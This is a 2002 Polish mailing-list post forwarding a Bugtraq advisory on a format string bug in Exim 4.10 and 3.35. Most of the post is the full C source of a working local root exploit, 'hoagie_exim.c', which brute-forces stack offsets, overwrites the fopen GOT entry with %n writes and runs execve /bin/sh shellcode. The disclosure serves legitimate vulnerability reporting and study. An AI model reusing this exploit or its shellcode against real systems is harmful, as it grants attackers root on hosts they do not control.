local root w EXIM
Michal Kochanowicz
michal w michal.waw.pl
Śro, 4 Gru 2002, 23:14:44 CET
Raczej bez paniki.
----- Forwarded message from Wana Thomas <01psi194 w fhwn.ac.at> -----
> Date: Wed, 04 Dec 2002 16:40:29 +0100
> From: Wana Thomas <01psi194 w fhwn.ac.at>
> User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.1) Gecko/20020826
> To: bugtraq w securityfocus.com
> Subject: Local root vulnerability found in exim 4.x (and 3.x)
>
> Overview
> --------
>
> A local root vulnerability has been discovered in
> Exim 4.x (4.10 verified and exploit available) and in
> Exim 3.x (3.35 verified).
>
> Impact
> ------
>
> The vulnerability can only be exploited by the
> "admin user" of exim, who is determined by compiled-in
> values. Thus the RISK of this vulnerability is LOW.
>
> Details
> -------
>
> This is a format string bug in daemon.c, line 976:
>
> sprintf(CS buff, CS pid_file_path, ""); /* Backward compatibility */
>
> pid_file_path can be changed on the command line.
> This line is in the function daemon_go(), which only
> gets executed when the user is an exim-admin-user.
>
> This restricts the impact of this vulnerability a lot.
> Standard configurations on all distributions should be
> safe (verified: Debian Woody i386)
>
> Solution
> --------
>
> Exim developers have been informed and a patch will be
> ready shortly.
>
> Exploit
> -------
>
> Please find attached a demonstration exploit of this
> vulnerability, tested on Debian Woody i386.
>
> There are four important defines to change before the
> exploit will work - see the file for details.
>
> Discovered by
> -------------
>
> Thomas Wana <01psi194 w fhwn.ac.at>
>
> Credits
> -------
>
> greetings to the hoagie industries security group :-)
>
>
>
> /***********************************************************
> * hoagie_exim.c
> *
> * local root exploit for exim 4.10 and probably others.
> * [only works for exim admin users]
> *
> * Format string bug when handling with the pid_file_path.
> *
> * Author: Thomas Wana <01psi194 w fhwn.ac.at>
> *
> * Greetz to andi and the other hoagie-fellas :-)
> *
> * THIS FILE IS FOR STUDYING PURPOSES ONLY AND A PROOF-OF-
> * CONCEPT. THE AUTHOR CAN NOT BE HELD RESPONSIBLE FOR ANY
> * DAMAGE DONE USING THIS PROGRAM.
> *
> ************************************************************/
>
> #include <stdio.h>
> #include <errno.h>
> #include <unistd.h>
> #include <signal.h>
> #include <sys/types.h>
> #include <string.h>
>
> /*******************************************************
> * CRUCIAL VALUES
> *
> * these standard values work for Debian Woody i386,
> * source build.
> *
> * Play with the padding if the program can't find the
> * right stackpop values.
> *
> * ALTERNATE_PORT is the port where exim will bind during
> * the stackpop sequences. The port will be incremented by
> * one for each try, so expect to have many instances of
> * exim running. (this is because the port is bound to as
> * root and the user program can't kill that process anymore)
> *
> * Get the GOT_ADDRESS with 'objdump --dynamic-reloc exim | grep fopen'
> *
> * Shellcode-Address can vary, it is dependant on the size
> * of the current environment. I had values between 0xbffffb00
> * and 0xbffffe90.
> *
> ********************************************************/
> #define PADDING 3
> #define ALTERNATE_PORT 3330
> #define FOPEN_GOT_ADDRESS 0x080b6194
> #define SHELLCODE_ADDRESS 0xbffffd00
>
> #define SB4(a) ((unsigned int)(a>>24))
> #define SB3(a) ((unsigned int)((a>>16)&0xFF))
> #define SB2(a) ((unsigned int)((a>>8)&0xFF))
> #define SB1(a) ((unsigned int)(a&0XFF))
>
> char shellcode[]="\x90\x90\x90\x90\x90\x90\x90\x90\x90"
> "\x90\x90\x90\x90\x90\x90\x90\x90\x90"
> "\x90\x90\x90\x90\x90\x90\x90\x90\x90"
> "\x90\x90\x90\x90\x90\x90\x90\x90\x90"
> "\x90\x90\x90\x90\x90\x90\x90\x90\x90"
> "\x90\x90\x90\x90\x90\x90\x90\x90\x90"
> "\xeb\x1e\x5e\x31\xc0\x88\x46\x07\x89"
> "\x76\x08\x89\x46\x0c\x89\xc2\xb0\x0b"
> "\x89\xf3\x8d\x4e\x08\xcd\x80\x31\xc0"
> "\x89\xc3\x40\xcd\x80\xe8\xdd\xff\xff"
> "\xff/bin/sh";
>
> int port=ALTERNATE_PORT;
> char path[100];
>
> int check_for_AAAA(char *line)
> {
> int rval=0;
> char *endptr;
>
> if(strstr(line,"too long"))
> {
> endptr=strrchr(line,':')-8;
> }
> else
> {
> endptr=line+strlen(line)-1-8;
> }
> if(strstr(endptr,"41414141")) rval=1;
> return rval;
> }
>
> int calc_bytes_written(char *line)
> {
> int rval=0;
> char *p;
> if((p=strrchr(line,':')))
> {
> rval=(p-line);
> }
> else
> {
> rval=strlen(line);
> }
> if(strstr(line,"pid written to ")) rval-=strlen("pid written to ");
> else rval-=strlen("failed to open pid file ");
> return rval;
> }
>
> void getstackpops(int *bigs, int *smalls, int *bytes_written)
> {
> int cpid;
> int pipedes[2];
> int found=0;
> int bs=0, ss=1;
> char hilf[10];
>
> printf("Getting stackpops ...\n");
> *bigs=0;
> *smalls=1;
>
> while(!found)
> {
> if(pipe(pipedes))
> {
> perror("pipe");
> exit(1);
> }
>
> port++;
> cpid=fork();
> if(cpid==0)
> {
> // child process
>
> char fs[10000];
> int i;
>
> // close stderr and recreate it pointing into the pipe
> close(2);
> dup2(pipedes[1],2);
>
> // make new formatstring
>
> strcpy(fs,"/tmp/%s");
> for(i=0;i<PADDING;i++)
> strcat(fs,"Z");
> strcat(fs,"0000AAAA0000AAAA0000AAAA0000AAAA");
> for(i=0;i<bs;i++)
> strcat(fs,"%+e");
> for(i=0;i<ss;i++)
> strcat(fs,"%08x");
>
> // execute exim
> sprintf(hilf,"%d",port);
> execl(path,"exim","-bd","-d","-oX",hilf,"-oP",fs,"-F",shellcode,NULL);
> }
> else if(cpid>0)
> {
> // parent process
> FILE *fp=fdopen(pipedes[0],"r");
> char line[10000];
> if(fp)
> {
> do
> {
> fgets(line,10000,fp);
> line[strlen(line)-1]=0;
> /* printf("%s\n",line); ENABLE THIS LINE WHEN THE PROGRAM GETS STUCK! */
> if(strstr(line,"pid written to ") ||
> strstr(line,"failed to open pid file "))
> {
> if(strstr(line,"nan")) printf("watch out, nan encountered.\n");
> if(check_for_AAAA(line)==1)
> {
> // stackpops found, values are OK
> found=1;
> bs--; // revert 2 stackpops
> printf("Stackpops found ;-)\n");
> *bigs=bs;
> *smalls=ss;
> *bytes_written=calc_bytes_written(line)-13;
> }
> else
> {
> // increase stackpops
> ss++;
> if(ss==3) bs++, ss=1;
> printf("trying bs=%d, ss=%d\n",bs,ss);
> }
> }
> } while(!strstr(line,"Listening..."));
> fclose(fp);
> }
> else perror("fdopen");
> kill(cpid,SIGINT);
> usleep(100000);
> }
> else perror("fork");
> close(pipedes[0]);
> close(pipedes[1]);
> }
> }
>
> void get_write_paddings(unsigned long addr, int *p1, int *p2, int *p3,
> int *p4, int bytes_written)
> {
> // greetings to scud :-)
> int write_byte;
> int already_written;
> int padding;
>
> write_byte=SB1(addr);
> already_written=bytes_written;
> write_byte+=0x100;
> already_written%=0x100;
> padding=(write_byte-already_written)%0x100;
> if(padding<10) padding+=0x100;
> *p1=padding;
>
> write_byte=SB2(addr);
> already_written+=padding;
> write_byte+=0x100;
> already_written%=0x100;
> padding=(write_byte-already_written)%0x100;
> if(padding<10) padding+=0x100;
> *p2=padding;
>
> write_byte=SB3(addr);
> already_written+=padding;
> write_byte+=0x100;
> already_written%=0x100;
> padding=(write_byte-already_written)%0x100;
> if(padding<10) padding+=0x100;
> *p3=padding;
>
> write_byte=SB4(addr);
> already_written+=padding;
> write_byte+=0x100;
> already_written%=0x100;
> padding=(write_byte-already_written)%0x100;
> if(padding<10) padding+=0x100;
> *p4=padding;
> }
>
> int main(int argc, char **argv)
> {
> int bigpops, smallpops, bytes_written, i;
> unsigned char fs[10000], hilf[1000];
> unsigned long a=FOPEN_GOT_ADDRESS,
> b=FOPEN_GOT_ADDRESS+1,
> c=FOPEN_GOT_ADDRESS+2,
> d=FOPEN_GOT_ADDRESS+3;
> unsigned int p1,p2,p3,p4;
>
> if(argc!=2)
> {
> printf("local root exploit for exim 4.10 [only works for exim admin users]\n\n");
> printf("./hoagie_exim path_to_exim\n\n");
> exit(1);
> }
> strcpy(path,argv[1]); // exploiting an exploit? hehe
>
> getstackpops(&bigpops,&smallpops,&bytes_written);
> printf("Using %d bigpops and %d smallpops.\n", bigpops,smallpops);
> printf("Written bytes: %d\n",bytes_written);
>
> strcpy(fs,"/tmp/%s");
> for(i=0;i<PADDING;i++)
> strcat(fs,"Z");
>
> sprintf(hilf,"0000%c%c%c%c"
> "0000%c%c%c%c"
> "0000%c%c%c%c"
> "0000%c%c%c%c",
> SB1(a),SB2(a),SB3(a),SB4(a),SB1(b),SB2(b),SB3(b),SB4(b),
> SB1(c),SB2(c),SB3(c),SB4(c),SB1(d),SB2(d),SB3(d),SB4(d));
> strcat(fs,hilf);
> for(i=0;i<bigpops;i++)
> strcat(fs,"%+e");
> for(i=0;i<smallpops;i++)
> strcat(fs,"%08x");
>
> get_write_paddings(SHELLCODE_ADDRESS,&p1,&p2,&p3,&p4,bytes_written);
>
> sprintf(hilf,"%%.%uu%%n%%.%uu%%n%%.%uu%%n%%.%uu%%n",p1,p2,p3,p4);
> strcat(fs,hilf);
>
> // GET ROOT
> printf("calling exim with fs='%s'\n",fs);
> sprintf(hilf,"%d",++port);
> execl(path,"exim","-bd","-d","-oX",hilf,"-oP",fs,"-F",shellcode,NULL);
>
> return 0;
> }
>
>
>
----- End forwarded message -----
--
--= Michal Kochanowicz =--==--==BOFH==--==--= michal w michal.waw.pl =--
--= finger me for PGP public key or visit http://michal.waw.pl/PGP =--
--==--==--==--==--==-- Vodka. Connecting people.--==--==--==--==--==--
A chodzenie po górach SSIE!!!
Więcej informacji o liście dyskusyjnej pld-devel-pl